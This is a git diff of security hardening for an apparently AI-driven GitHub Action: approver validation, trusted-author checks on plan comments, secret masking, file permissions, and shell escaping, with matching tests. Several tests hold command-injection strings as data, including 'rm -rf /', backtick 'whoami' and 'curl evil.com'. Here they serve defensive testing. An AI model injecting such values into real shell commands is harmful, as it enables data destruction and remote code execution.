diff --git a/.gitignore b/.gitignore index 31f7915..011bf7d 100644 --- a/.gitignore +++ b/.gitignore @@ -21,6 +21,9 @@ coverage/ docs/codingbuddy/ .omc/ +# Git worktrees +.worktrees/ + # TypeScript build cache *.tsbuildinfo diff --git a/eslint.config.mjs b/eslint.config.mjs index 29691e3..80f9190 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -6,7 +6,7 @@ import prettier from "eslint-config-prettier"; export default tseslint.config( { - ignores: ["dist/**", "node_modules/**", "*.config.{js,mjs,ts}"], + ignores: ["dist/**", "node_modules/**", "coverage/**", "*.config.{js,mjs,ts}"], }, eslint.configs.recommended, ...tseslint.configs.recommendedTypeChecked, diff --git a/src/config.test.ts b/src/config.test.ts index 4408390..c907b8a 100644 --- a/src/config.test.ts +++ b/src/config.test.ts @@ -664,7 +664,6 @@ describe("config", () => { "FIRST_TIME_CONTRIBUTOR", "FIRST_TIMER", "MANNEQUIN", - "NONE", ], }; const inputs: ActionInputs = { @@ -685,7 +684,6 @@ describe("config", () => { "FIRST_TIME_CONTRIBUTOR", "FIRST_TIMER", "MANNEQUIN", - "NONE", ]); }); @@ -760,7 +758,22 @@ describe("config", () => { }; expect(() => mergeConfig(fileConfig, inputs)).toThrow( - "Must be one of: OWNER, MEMBER, COLLABORATOR, CONTRIBUTOR, FIRST_TIME_CONTRIBUTOR, FIRST_TIMER, MANNEQUIN, NONE", + "Must be one of: OWNER, MEMBER, COLLABORATOR, CONTRIBUTOR, FIRST_TIME_CONTRIBUTOR, FIRST_TIMER, MANNEQUIN", + ); + }); + + it("should reject NONE in authorized_approvers", () => { + const fileConfig = { authorized_approvers: ["OWNER", "NONE"] }; + const inputs: ActionInputs = { + mode: "plan", + anthropic_api_key: "test-key", + github_token: "test-token", + config_path: ".leonidas.yml", + system_prompt_path: ".github/leonidas.md", + }; + + expect(() => mergeConfig(fileConfig, inputs)).toThrow( + 'Invalid authorized_approvers value: "NONE" is not allowed', ); }); }); diff --git a/src/config.ts b/src/config.ts index 37e86ff..b034e9c 100644 --- a/src/config.ts +++ b/src/config.ts @@ -1,5 +1,6 @@ import * as core from "@actions/core"; import * as fs from "fs"; +import * as path from "path"; import * as yaml from "js-yaml"; import { LeonidasConfig, ActionInputs } from "./types"; import { resolveLanguage } from "./i18n"; @@ -159,9 +160,13 @@ export function mergeConfig( "FIRST_TIME_CONTRIBUTOR", "FIRST_TIMER", "MANNEQUIN", - "NONE", ]; for (const approver of merged.authorized_approvers) { + if (approver === "NONE") { + throw new Error( + 'Invalid authorized_approvers value: "NONE" is not allowed as it represents unauthenticated users. Use valid associations like OWNER, MEMBER, or COLLABORATOR instead.', + ); + } if (!validAssociations.includes(approver)) { throw new Error( `Invalid authorized_approvers value: "${approver}". Must be one of: ${validAssociations.join(", ")}`, @@ -190,7 +195,7 @@ export function loadRules(rulesPath: string): Record { const rules: Record = {}; for (const file of mdFiles) { - const filePath = `${rulesPath}/${file}`; + const filePath = path.join(rulesPath, file); const ruleName = file.replace(/\.md$/, ""); try { const content = fs.readFileSync(filePath, "utf-8"); diff --git a/src/github.test.ts b/src/github.test.ts index 050899a..c41a1db 100644 --- a/src/github.test.ts +++ b/src/github.test.ts @@ -1,7 +1,12 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; import * as github from "@actions/github"; import * as core from "@actions/core"; -import { parseSubIssueMetadata, isDecomposedPlan, createGitHubClient } from "./github"; +import { + parseSubIssueMetadata, + isDecomposedPlan, + createGitHubClient, + clearOctokitCache, +} from "./github"; import { PLAN_HEADER, PLAN_MARKER, DECOMPOSED_MARKER } from "./templates/plan_comment"; vi.mock("@actions/core"); @@ -17,6 +22,7 @@ describe("github", () => { beforeEach(() => { vi.clearAllMocks(); + clearOctokitCache(); mockOctokit = { paginate: vi.fn(), @@ -51,10 +57,10 @@ describe("github", () => { describe("findPlanComment", () => { it("should return the latest plan comment when multiple exist", async () => { const comments = [ - { id: 1, body: "Regular comment" }, - { id: 2, body: `${PLAN_HEADER}\n\nFirst plan` }, - { id: 3, body: "Another regular comment" }, - { id: 4, body: `${PLAN_HEADER}\n\nLatest plan` }, + { id: 1, body: "Regular comment", user: { login: "github-actions[bot]" } }, + { id: 2, body: `${PLAN_HEADER}\n\nFirst plan`, user: { login: "github-actions[bot]" } }, + { id: 3, body: "Another regular comment", user: { login: "github-actions[bot]" } }, + { id: 4, body: `${PLAN_HEADER}\n\nLatest plan`, user: { login: "github-actions[bot]" } }, ]; mockOctokit.paginate.mockResolvedValue(comments); @@ -96,8 +102,12 @@ describe("github", () => { it("should handle comments with undefined body", async () => { const comments = [ - { id: 1, body: undefined }, - { id: 2, body: `${PLAN_HEADER}\n\nPlan with content` }, + { id: 1, body: undefined, user: { login: "github-actions[bot]" } }, + { + id: 2, + body: `${PLAN_HEADER}\n\nPlan with content`, + user: { login: "github-actions[bot]" }, + }, ]; mockOctokit.paginate.mockResolvedValue(comments); @@ -118,7 +128,13 @@ describe("github", () => { }); it("should find plan comment in the middle of body text", async () => { - const comments = [{ id: 1, body: `Some text before\n${PLAN_HEADER}\nSome text after` }]; + const comments = [ + { + id: 1, + body: `Some text before\n${PLAN_HEADER}\nSome text after`, + user: { login: "github-actions[bot]" }, + }, + ]; mockOctokit.paginate.mockResolvedValue(comments); @@ -130,8 +146,12 @@ describe("github", () => { it("should find plan comment by PLAN_MARKER", async () => { const comments = [ - { id: 1, body: "Regular comment" }, - { id: 2, body: `${PLAN_MARKER}\n## Plan\n\nContent here` }, + { id: 1, body: "Regular comment", user: { login: "github-actions[bot]" } }, + { + id: 2, + body: `${PLAN_MARKER}\n## Plan\n\nContent here`, + user: { login: "github-actions[bot]" }, + }, ]; mockOctokit.paginate.mockResolvedValue(comments); @@ -144,8 +164,12 @@ describe("github", () => { it("should prefer PLAN_MARKER over PLAN_HEADER when both exist", async () => { const comments = [ - { id: 1, body: `${PLAN_HEADER}\n\nOld style plan` }, - { id: 2, body: `${PLAN_MARKER}\n## Plan\n\nNew style plan` }, + { id: 1, body: `${PLAN_HEADER}\n\nOld style plan`, user: { login: "github-actions[bot]" } }, + { + id: 2, + body: `${PLAN_MARKER}\n## Plan\n\nNew style plan`, + user: { login: "github-actions[bot]" }, + }, ]; mockOctokit.paginate.mockResolvedValue(comments); @@ -158,9 +182,17 @@ describe("github", () => { it("should return latest PLAN_MARKER comment when multiple exist", async () => { const comments = [ - { id: 1, body: `${PLAN_MARKER}\n## Plan\n\nFirst plan` }, - { id: 2, body: "Regular comment" }, - { id: 3, body: `${PLAN_MARKER}\n## Plan\n\nLatest plan` }, + { + id: 1, + body: `${PLAN_MARKER}\n## Plan\n\nFirst plan`, + user: { login: "github-actions[bot]" }, + }, + { id: 2, body: "Regular comment", user: { login: "someone" } }, + { + id: 3, + body: `${PLAN_MARKER}\n## Plan\n\nLatest plan`, + user: { login: "github-actions[bot]" }, + }, ]; mockOctokit.paginate.mockResolvedValue(comments); @@ -173,8 +205,12 @@ describe("github", () => { it("should fallback to PLAN_HEADER when no PLAN_MARKER found", async () => { const comments = [ - { id: 1, body: "Regular comment" }, - { id: 2, body: `${PLAN_HEADER}\n\nPlan without marker` }, + { id: 1, body: "Regular comment", user: { login: "someone" } }, + { + id: 2, + body: `${PLAN_HEADER}\n\nPlan without marker`, + user: { login: "github-actions[bot]" }, + }, ]; mockOctokit.paginate.mockResolvedValue(comments); @@ -184,6 +220,28 @@ describe("github", () => { expect(result).toBe(`${PLAN_HEADER}\n\nPlan without marker`); }); + + it("should return null when plan comment is from untrusted user", async () => { + const comments = [ + { + id: 1, + body: `${PLAN_MARKER}\n## Malicious Plan\n\nFake plan from attacker`, + user: { login: "malicious-user" }, + }, + { + id: 2, + body: `${PLAN_HEADER}\n\nAnother fake plan`, + user: { login: "untrusted-actor" }, + }, + ]; + + mockOctokit.paginate.mockResolvedValue(comments); + + const client = createGitHubClient({ token: mockToken, owner: mockOwner, repo: mockRepo }); + const result = await client.findPlanComment(mockIssueNumber); + + expect(result).toBeNull(); + }); }); describe("postComment", () => { @@ -926,6 +984,39 @@ Plan content`; }); }); + describe("createGitHubClient - caching", () => { + it("should cache Octokit instances by token", () => { + // This test needs isolated mock state + vi.clearAllMocks(); + + const client1 = createGitHubClient({ token: mockToken, owner: mockOwner, repo: mockRepo }); + const client2 = createGitHubClient({ token: mockToken, owner: mockOwner, repo: mockRepo }); + + // Should only call getOctokit once for the same token + expect(github.getOctokit).toHaveBeenCalledWith(mockToken); + expect(github.getOctokit).toHaveBeenCalledTimes(1); + + // Both clients should have all expected methods + expect(client1).toHaveProperty("findPlanComment"); + expect(client2).toHaveProperty("findPlanComment"); + }); + + it("should create separate Octokit instances for different tokens", () => { + vi.clearAllMocks(); + + const token1 = "ghp_token_1"; + const token2 = "ghp_token_2"; + + createGitHubClient({ token: token1, owner: mockOwner, repo: mockRepo }); + createGitHubClient({ token: token2, owner: mockOwner, repo: mockRepo }); + + // Should call getOctokit twice for different tokens + expect(github.getOctokit).toHaveBeenCalledWith(token1); + expect(github.getOctokit).toHaveBeenCalledWith(token2); + expect(github.getOctokit).toHaveBeenCalledTimes(2); + }); + }); + describe("createGitHubClient", () => { it("should create a client that shares a single Octokit instance", () => { const client = createGitHubClient({ token: mockToken, owner: mockOwner, repo: mockRepo }); @@ -948,8 +1039,8 @@ Plan content`; const client = createGitHubClient({ token: mockToken, owner: mockOwner, repo: mockRepo }); const comments = [ - { id: 1, body: "Regular comment" }, - { id: 2, body: `${PLAN_HEADER}\n\nPlan content` }, + { id: 1, body: "Regular comment", user: { login: "someone" } }, + { id: 2, body: `${PLAN_HEADER}\n\nPlan content`, user: { login: "github-actions[bot]" } }, ]; mockOctokit.paginate.mockResolvedValue(comments); diff --git a/src/github.ts b/src/github.ts index b6f1199..84a8916 100644 --- a/src/github.ts +++ b/src/github.ts @@ -8,6 +8,14 @@ import { SubIssueMetadata, GitHubRepo } from "./types"; // Other bot identifiers may be added for GitHub App installations const TRUSTED_BOT_AUTHORS = new Set(["github-actions[bot]"]); +// Cache for Octokit instances keyed by token +const octokitCache = new Map>(); + +// For testing: clear the Octokit cache +export function clearOctokitCache(): void { + octokitCache.clear(); +} + export interface LinkSubIssuesResult { linked: number; failed: number; @@ -16,7 +24,11 @@ export interface LinkSubIssuesResult { export type GitHubClient = ReturnType; export function createGitHubClient(repo: GitHubRepo) { - const octokit = github.getOctokit(repo.token); + let octokit = octokitCache.get(repo.token); + if (!octokit) { + octokit = github.getOctokit(repo.token); + octokitCache.set(repo.token, octokit); + } const { owner, repo: repoName } = repo; return { @@ -38,13 +50,6 @@ export function createGitHubClient(repo: GitHubRepo) { planComments = trustedComments.filter((comment) => comment.body?.includes(PLAN_HEADER)); } - if (planComments.length === 0) { - planComments = comments.filter((comment) => comment.body?.includes(PLAN_MARKER)); - } - if (planComments.length === 0) { - planComments = comments.filter((comment) => comment.body?.includes(PLAN_HEADER)); - } - if (planComments.length === 0) { return null; } diff --git a/src/main.test.ts b/src/main.test.ts index a7ab39d..543a999 100644 --- a/src/main.test.ts +++ b/src/main.test.ts @@ -2,7 +2,7 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; import * as core from "@actions/core"; import * as fs from "fs"; import * as os from "os"; -import { run } from "./main"; +import { run, readInputs } from "./main"; vi.mock("@actions/core"); vi.mock("fs"); @@ -110,7 +110,7 @@ describe("main", () => { expect(fs.writeFileSync).toHaveBeenCalledWith( expect.stringContaining("leonidas-prompt-"), "plan prompt content", - "utf-8", + { encoding: "utf-8", mode: 0o600 }, ); }); @@ -166,7 +166,7 @@ describe("main", () => { expect(fs.writeFileSync).toHaveBeenCalledWith( expect.stringMatching(/^\/runner\/tmp\/leonidas-prompt-\d+\.md$/), "prompt content", - "utf-8", + { encoding: "utf-8", mode: 0o600 }, ); delete process.env.RUNNER_TEMP; @@ -391,6 +391,26 @@ describe("main", () => { }); }); + describe("readInputs() - secrets handling", () => { + it("should register API key and GitHub token as secrets", () => { + vi.mocked(core.getInput).mockImplementation((name: string) => { + const inputs: Record = { + mode: "plan", + anthropic_api_key: "test-api-key", + github_token: "test-github-token", + }; + return inputs[name] || ""; + }); + vi.mocked(core.setSecret).mockImplementation(() => {}); + + readInputs(); + + expect(core.setSecret).toHaveBeenCalledWith("test-api-key"); + expect(core.setSecret).toHaveBeenCalledWith("test-github-token"); + expect(core.setSecret).toHaveBeenCalledTimes(2); + }); + }); + describe("run() - error handling", () => { it("should catch and report errors via setFailed", async () => { vi.mocked(core.getInput).mockImplementation(() => { diff --git a/src/main.ts b/src/main.ts index 25cab70..72172a2 100644 --- a/src/main.ts +++ b/src/main.ts @@ -11,9 +11,13 @@ import { createGitHubClient, parseSubIssueMetadata, isDecomposedPlan } from "./g import type { GitHubClient } from "./github"; import { t } from "./i18n"; +function isValidLeonidasMode(value: string): value is LeonidasMode { + return value === "plan" || value === "execute"; +} + export function readInputs(): ActionInputs { const modeRaw = core.getInput("mode", { required: true }); - if (modeRaw !== "plan" && modeRaw !== "execute") { + if (!isValidLeonidasMode(modeRaw)) { throw new Error(`Invalid mode: ${modeRaw}. Must be "plan" or "execute".`); } const mode: LeonidasMode = modeRaw; @@ -27,10 +31,17 @@ export function readInputs(): ActionInputs { } } + const anthropicApiKey = core.getInput("anthropic_api_key", { required: true }); + const githubToken = core.getInput("github_token", { required: true }); + + // Register secrets to prevent accidental logging in workflow output + core.setSecret(anthropicApiKey); + core.setSecret(githubToken); + return { mode, - anthropic_api_key: core.getInput("anthropic_api_key", { required: true }), - github_token: core.getInput("github_token", { required: true }), + anthropic_api_key: anthropicApiKey, + github_token: githubToken, model: core.getInput("model") || undefined, max_turns: maxTurns, allowed_tools: core.getInput("allowed_tools") || undefined, @@ -259,7 +270,7 @@ export async function run(): Promise { // Prefer RUNNER_TEMP (cleaned per-job by GitHub Actions) over os.tmpdir() const tmpDir = process.env.RUNNER_TEMP ?? os.tmpdir(); const promptFile = path.join(tmpDir, `leonidas-prompt-${Date.now()}.md`); - fs.writeFileSync(promptFile, prompt, "utf-8"); + fs.writeFileSync(promptFile, prompt, { encoding: "utf-8", mode: 0o600 }); // Set outputs for composite action core.setOutput("prompt_file", promptFile); diff --git a/src/post_process_cli.test.ts b/src/post_process_cli.test.ts index bea77e9..7b37e72 100644 --- a/src/post_process_cli.test.ts +++ b/src/post_process_cli.test.ts @@ -94,9 +94,59 @@ describe("post_process", () => { repo: "my-awesome-repo", }); }); + + it("throws on empty string", () => { + expect(() => parseRepo("")).toThrow('Invalid repository format: "". Expected "owner/repo".'); + }); + + it("throws on missing separator", () => { + expect(() => parseRepo("just-a-name")).toThrow( + 'Invalid repository format: "just-a-name". Expected "owner/repo".', + ); + }); + + it("throws on empty owner", () => { + expect(() => parseRepo("/repo")).toThrow( + 'Invalid repository format: "/repo". Expected "owner/repo".', + ); + }); + + it("throws on empty repo name", () => { + expect(() => parseRepo("owner/")).toThrow( + 'Invalid repository format: "owner/". Expected "owner/repo".', + ); + }); + + it("throws on extra path segments", () => { + expect(() => parseRepo("owner/repo/extra")).toThrow( + 'Invalid repository format: "owner/repo/extra". Expected "owner/repo".', + ); + }); + + it("handles valid octocat/hello-world format", () => { + expect(parseRepo("octocat/hello-world")).toEqual({ + owner: "octocat", + repo: "hello-world", + }); + }); }); describe("run — link-subissues command", () => { + it("registers GH_TOKEN as secret", async () => { + process.argv = ["node", "post_process.js", "link-subissues"]; + process.env.GH_TOKEN = "ghp_test_secret_token"; + process.env.REPO = "owner/repo"; + process.env.ISSUE_NUMBER = "42"; + + const mockClient = createMockClient(); + mockClient.findPlanComment.mockResolvedValue(null); + vi.mocked(githubModule.createGitHubClient).mockReturnValue(mockClient as any); + + await run(); + + expect(core.setSecret).toHaveBeenCalledWith("ghp_test_secret_token"); + }); + it("calls findPlanComment and linkSubIssues when decomposed plan found", async () => { process.argv = ["node", "post_process.js", "link-subissues"]; process.env.GH_TOKEN = "ghp_test"; @@ -179,6 +229,25 @@ describe("post_process", () => { }); describe("run — post-completion command", () => { + it("registers GH_TOKEN as secret", async () => { + process.argv = ["node", "post_process.js", "post-completion"]; + process.env.GH_TOKEN = "ghp_test_secret_token"; + process.env.GITHUB_REPOSITORY = "owner/repo"; + process.env.ISSUE_NUMBER = "42"; + process.env.LANGUAGE = "en"; + process.env.BRANCH_PREFIX = "leonidas/issue-"; + process.env.RUN_URL = "https://example.com/run"; + + const mockClient = createMockClient(); + mockClient.getPRForBranch.mockResolvedValue(undefined); + vi.mocked(githubModule.createGitHubClient).mockReturnValue(mockClient as any); + vi.mocked(postProcessingModule.buildCompletionComment).mockReturnValue("completion msg"); + + await run(); + + expect(core.setSecret).toHaveBeenCalledWith("ghp_test_secret_token"); + }); + it("posts completion comment with PR number when PR exists", async () => { process.argv = ["node", "post_process.js", "post-completion"]; process.env.GH_TOKEN = "ghp_test"; @@ -232,6 +301,24 @@ describe("post_process", () => { }); describe("run — post-failure command", () => { + it("registers GH_TOKEN as secret", async () => { + process.argv = ["node", "post_process.js", "post-failure"]; + process.env.GH_TOKEN = "ghp_test_secret_token"; + process.env.GITHUB_REPOSITORY = "owner/repo"; + process.env.ISSUE_NUMBER = "42"; + process.env.LANGUAGE = "en"; + process.env.RUN_URL = "https://example.com/run"; + process.env.MODE = "plan"; + + const mockClient = createMockClient(); + vi.mocked(githubModule.createGitHubClient).mockReturnValue(mockClient as any); + vi.mocked(postProcessingModule.buildFailureComment).mockReturnValue("failure msg"); + + await run(); + + expect(core.setSecret).toHaveBeenCalledWith("ghp_test_secret_token"); + }); + it("posts failure comment for plan mode", async () => { process.argv = ["node", "post_process.js", "post-failure"]; process.env.GH_TOKEN = "ghp_test"; @@ -276,9 +363,40 @@ describe("post_process", () => { runUrl: "https://example.com/run", }); }); + + it("throws error when MODE is invalid", async () => { + process.argv = ["node", "post_process.js", "post-failure"]; + process.env.GH_TOKEN = "ghp_test"; + process.env.GITHUB_REPOSITORY = "owner/repo"; + process.env.ISSUE_NUMBER = "42"; + process.env.LANGUAGE = "en"; + process.env.RUN_URL = "https://example.com/run"; + process.env.MODE = "invalid"; + + await expect(run()).rejects.toThrow('Invalid MODE: "invalid". Must be "plan" or "execute".'); + }); }); describe("run — rescue command", () => { + it("registers GH_TOKEN as secret", async () => { + process.argv = ["node", "post_process.js", "rescue"]; + process.env.GH_TOKEN = "ghp_test_secret_token"; + process.env.GITHUB_REPOSITORY = "owner/repo"; + process.env.ISSUE_NUMBER = "42"; + process.env.BRANCH_PREFIX = "leonidas/issue-"; + process.env.BASE_BRANCH = "main"; + process.env.LANGUAGE = "en"; + process.env.RUN_URL = "https://example.com/run"; + + const mockClient = createMockClient(); + mockClient.branchExistsOnRemote.mockResolvedValue(false); + vi.mocked(githubModule.createGitHubClient).mockReturnValue(mockClient as any); + + await run(); + + expect(core.setSecret).toHaveBeenCalledWith("ghp_test_secret_token"); + }); + it("sets branch_exists=false and skips when branch does not exist", async () => { process.argv = ["node", "post_process.js", "rescue"]; process.env.GH_TOKEN = "ghp_test"; @@ -407,6 +525,21 @@ describe("post_process", () => { }); describe("run — post-process-pr command", () => { + it("registers GH_TOKEN as secret", async () => { + process.argv = ["node", "post_process.js", "post-process-pr"]; + process.env.GH_TOKEN = "ghp_test_secret_token"; + process.env.GITHUB_REPOSITORY = "owner/repo"; + process.env.ISSUE_NUMBER = "42"; + process.env.BRANCH_PREFIX = "leonidas/issue-"; + + const mockClient = createMockClient(); + vi.mocked(githubModule.createGitHubClient).mockReturnValue(mockClient as any); + + await run(); + + expect(core.setSecret).toHaveBeenCalledWith("ghp_test_secret_token"); + }); + it("delegates to postProcessPR with correct arguments", async () => { process.argv = ["node", "post_process.js", "post-process-pr"]; process.env.GH_TOKEN = "ghp_test"; @@ -424,6 +557,21 @@ describe("post_process", () => { }); describe("run — trigger-ci command", () => { + it("registers GH_TOKEN as secret", async () => { + process.argv = ["node", "post_process.js", "trigger-ci"]; + process.env.GH_TOKEN = "ghp_test_secret_token"; + process.env.GITHUB_REPOSITORY = "owner/repo"; + process.env.ISSUE_NUMBER = "42"; + process.env.BRANCH_PREFIX = "leonidas/issue-"; + + const mockClient = createMockClient(); + vi.mocked(githubModule.createGitHubClient).mockReturnValue(mockClient as any); + + await run(); + + expect(core.setSecret).toHaveBeenCalledWith("ghp_test_secret_token"); + }); + it("delegates to triggerCI with constructed branch name", async () => { process.argv = ["node", "post_process.js", "trigger-ci"]; process.env.GH_TOKEN = "ghp_test"; @@ -444,13 +592,17 @@ describe("post_process", () => { it("throws error for unknown command", async () => { process.argv = ["node", "post_process.js", "unknown-cmd"]; - await expect(run()).rejects.toThrow("Unknown post-process command: unknown-cmd"); + await expect(run()).rejects.toThrow( + "Invalid post-process command: unknown-cmd. Must be one of: link-subissues, post-completion, post-failure, rescue, post-process-pr, trigger-ci", + ); }); it("throws error when no command provided", async () => { process.argv = ["node", "post_process.js"]; - await expect(run()).rejects.toThrow("Unknown post-process command: undefined"); + await expect(run()).rejects.toThrow( + "Invalid post-process command: undefined. Must be one of: link-subissues, post-completion, post-failure, rescue, post-process-pr, trigger-ci", + ); }); }); }); diff --git a/src/post_process_cli.ts b/src/post_process_cli.ts index 890e1f5..c88f5ae 100644 --- a/src/post_process_cli.ts +++ b/src/post_process_cli.ts @@ -44,12 +44,16 @@ export function getEnvOptional(name: string): string | undefined { } export function parseRepo(repo: string): { owner: string; repo: string } { - const [owner, name] = repo.split("/"); - return { owner, repo: name }; + const parts = repo.split("/"); + if (parts.length !== 2 || !parts[0] || !parts[1]) { + throw new Error(`Invalid repository format: "${repo}". Expected "owner/repo".`); + } + return { owner: parts[0], repo: parts[1] }; } export function readBaseContext(): PostProcessContext { const token = getEnvRequired("GH_TOKEN"); + core.setSecret(token); const { owner, repo } = parseRepo(getEnvRequired("GITHUB_REPOSITORY")); const issueNumber = parseInt(getEnvRequired("ISSUE_NUMBER"), 10); const language = resolveLanguage(getEnvOptional("LANGUAGE")); @@ -71,6 +75,7 @@ async function runLinkSubIssues(): Promise { // Note: This command uses REPO instead of GITHUB_REPOSITORY and doesn't need // language, branchPrefix, or runUrl, so it reads env vars directly const token = getEnvRequired("GH_TOKEN"); + core.setSecret(token); const { owner, repo } = parseRepo(getEnvRequired("REPO")); const issueNumber = parseInt(getEnvRequired("ISSUE_NUMBER"), 10); @@ -115,11 +120,16 @@ async function runPostCompletion(): Promise { async function runPostFailure(): Promise { const token = getEnvRequired("GH_TOKEN"); + core.setSecret(token); const { owner, repo } = parseRepo(getEnvRequired("GITHUB_REPOSITORY")); const issueNumber = parseInt(getEnvRequired("ISSUE_NUMBER"), 10); const language = resolveLanguage(getEnvOptional("LANGUAGE")); const runUrl = getEnvRequired("RUN_URL"); - const mode = getEnvRequired("MODE") as LeonidasMode; + const modeRaw = getEnvRequired("MODE"); + if (modeRaw !== "plan" && modeRaw !== "execute") { + throw new Error(`Invalid MODE: "${modeRaw}". Must be "plan" or "execute".`); + } + const mode: LeonidasMode = modeRaw; const client = createGitHubClient({ token, owner, repo }); @@ -134,6 +144,7 @@ async function runPostFailure(): Promise { async function runRescue(): Promise { const token = getEnvRequired("GH_TOKEN"); + core.setSecret(token); const { owner, repo } = parseRepo(getEnvRequired("GITHUB_REPOSITORY")); const issueNumber = parseInt(getEnvRequired("ISSUE_NUMBER"), 10); const branchPrefix = getEnvRequired("BRANCH_PREFIX"); @@ -207,6 +218,7 @@ async function runRescue(): Promise { async function runPostProcessPR(): Promise { const token = getEnvRequired("GH_TOKEN"); + core.setSecret(token); const { owner, repo } = parseRepo(getEnvRequired("GITHUB_REPOSITORY")); const issueNumber = parseInt(getEnvRequired("ISSUE_NUMBER"), 10); const branchPrefix = getEnvRequired("BRANCH_PREFIX"); @@ -217,6 +229,7 @@ async function runPostProcessPR(): Promise { async function runTriggerCI(): Promise { const token = getEnvRequired("GH_TOKEN"); + core.setSecret(token); const { owner, repo } = parseRepo(getEnvRequired("GITHUB_REPOSITORY")); const issueNumber = parseInt(getEnvRequired("ISSUE_NUMBER"), 10); const branchPrefix = getEnvRequired("BRANCH_PREFIX"); @@ -226,8 +239,26 @@ async function runTriggerCI(): Promise { await client.triggerCI(branchName); } +function isValidCommand(value: string): value is Command { + const validCommands: Command[] = [ + "link-subissues", + "post-completion", + "post-failure", + "rescue", + "post-process-pr", + "trigger-ci", + ]; + return validCommands.includes(value as Command); +} + export async function run(): Promise { - const command = process.argv[2] as Command; + const commandRaw = process.argv[2]; + if (!commandRaw || !isValidCommand(commandRaw)) { + throw new Error( + `Invalid post-process command: ${String(commandRaw)}. Must be one of: link-subissues, post-completion, post-failure, rescue, post-process-pr, trigger-ci`, + ); + } + const command: Command = commandRaw; switch (command) { case "link-subissues": return runLinkSubIssues(); diff --git a/src/prompts/execute.test.ts b/src/prompts/execute.test.ts index 247e22c..fdbd663 100644 --- a/src/prompts/execute.test.ts +++ b/src/prompts/execute.test.ts @@ -450,5 +450,45 @@ Step 3: Third thing`; expect(result).not.toContain("Dependency:"); }); + + it("should escape shell metacharacters in labels", () => { + const maliciousLabels = ['bug"; rm -rf /', "feature$VAR", "test`whoami`"]; + + const result = buildExecutePrompt({ + ...defaultOptions, + issueLabels: maliciousLabels, + }); + + // Verify escaping is applied + expect(result).toContain('bug\\"; rm -rf /,feature\\$VAR,test\\`whoami\\`'); + // Verify unescaped metacharacters are not present + expect(result).not.toMatch(/gh pr edit --add-label "bug"; rm/); + expect(result).not.toMatch(/feature\$VAR/); + }); + + it("should escape shell metacharacters in author", () => { + const maliciousAuthor = 'user"; curl evil.com; echo "'; + + const result = buildExecutePrompt({ + ...defaultOptions, + issueAuthor: maliciousAuthor, + }); + + // Verify escaping is applied + expect(result).toContain('user\\"; curl evil.com; echo \\"'); + // Verify the command injection is prevented + expect(result).not.toMatch(/gh pr edit --add-assignee "user"; curl/); + }); + + it("should escape both labels and author when both contain metacharacters", () => { + const result = buildExecutePrompt({ + ...defaultOptions, + issueLabels: ['label"1', "label$2"], + issueAuthor: "user`whoami`", + }); + + expect(result).toContain('label\\"1,label\\$2'); + expect(result).toContain("user\\`whoami\\`"); + }); }); }); diff --git a/src/prompts/execute.ts b/src/prompts/execute.ts index a0d8564..c664e7b 100644 --- a/src/prompts/execute.ts +++ b/src/prompts/execute.ts @@ -1,5 +1,8 @@ import { SubIssueMetadata } from "../types"; -import { wrapUserContent, escapeForShellArg } from "../utils/sanitize"; +import { wrapUserContent, escapeForShellArg, escapeArrayForShellArg } from "../utils/sanitize"; + +/** Turns reserved for final push + PR creation workflow */ +const RESERVED_TURNS = 5; export interface ExecutePromptOptions { issueTitle: string; @@ -32,16 +35,15 @@ export function buildExecutePrompt(options: ExecutePromptOptions): string { hasRules = false, } = options; const branchName = `${branchPrefix}${issueNumber}`; - const reservedTurns = 5; - const pushDeadline = maxTurns - reservedTurns; + const pushDeadline = maxTurns - RESERVED_TURNS; const prLabels = issueLabels.filter((l) => l !== "leonidas"); const labelCmd = prLabels.length > 0 - ? `\n - Add labels: \`gh pr edit --add-label "${prLabels.join(",")}"\`` + ? `\n - Add labels: \`gh pr edit --add-label "${escapeArrayForShellArg(prLabels)}"\`` : ""; const assigneeCmd = issueAuthor - ? `\n - Add assignee: \`gh pr edit --add-assignee "${issueAuthor}"\`` + ? `\n - Add assignee: \`gh pr edit --add-assignee "${escapeForShellArg(issueAuthor)}"\`` : ""; // Escape shell metacharacters in issueTitle to prevent command injection @@ -89,7 +91,7 @@ ${safePlan} ## Turn Budget -You have **${maxTurns} turns** total. Reserve the last ${reservedTurns} turns for push + PR creation. +You have **${maxTurns} turns** total. Reserve the last ${RESERVED_TURNS} turns for push + PR creation. - **Push deadline:** By turn ${pushDeadline}, you MUST have pushed your branch. - **Strategy:** Push early and create a draft PR after completing 2-3 implementation steps. diff --git a/src/utils/sanitize.test.ts b/src/utils/sanitize.test.ts index a17f917..5dd8692 100644 --- a/src/utils/sanitize.test.ts +++ b/src/utils/sanitize.test.ts @@ -1,5 +1,10 @@ import { describe, it, expect } from "vitest"; -import { wrapUserContent, wrapRepoConfiguration, escapeForShellArg } from "./sanitize"; +import { + wrapUserContent, + wrapRepoConfiguration, + escapeForShellArg, + escapeArrayForShellArg, +} from "./sanitize"; describe("wrapUserContent", () => { it("wraps simple content in delimiters", () => { @@ -245,4 +250,58 @@ describe("escapeForShellArg", () => { expect(escapeForShellArg("Fix bug #42")).toBe("Fix bug #42"); expect(escapeForShellArg("feat: add login")).toBe("feat: add login"); }); + + it("should escape newlines and carriage returns", () => { + expect(escapeForShellArg("line1\nline2")).toBe("line1\\nline2"); + expect(escapeForShellArg("line1\rline2")).toBe("line1\\rline2"); + expect(escapeForShellArg("line1\r\nline2")).toBe("line1\\r\\nline2"); + }); + + it("should escape single quotes", () => { + expect(escapeForShellArg("it's")).toBe("it\\'s"); + }); + + it("should strip control characters", () => { + expect(escapeForShellArg("hello\x00world")).toBe("helloworld"); + expect(escapeForShellArg("tab\there")).toBe("tabhere"); + expect(escapeForShellArg("escape\x1bhere")).toBe("escapehere"); + }); +}); + +describe("escapeArrayForShellArg", () => { + it("escapes each element and joins with commas", () => { + const labels = ["bug", "high-priority", "needs-review"]; + const result = escapeArrayForShellArg(labels); + + expect(result).toBe("bug,high-priority,needs-review"); + }); + + it("escapes shell metacharacters in each element", () => { + const labels = ['label"with"quotes', "label$with$dollar", "label`with`backtick"]; + const result = escapeArrayForShellArg(labels); + + expect(result).toBe('label\\"with\\"quotes,label\\$with\\$dollar,label\\`with\\`backtick'); + }); + + it("returns empty string for empty array", () => { + const result = escapeArrayForShellArg([]); + + expect(result).toBe(""); + }); + + it("handles single element array", () => { + const result = escapeArrayForShellArg(["bug"]); + + expect(result).toBe("bug"); + }); + + it("escapes realistic 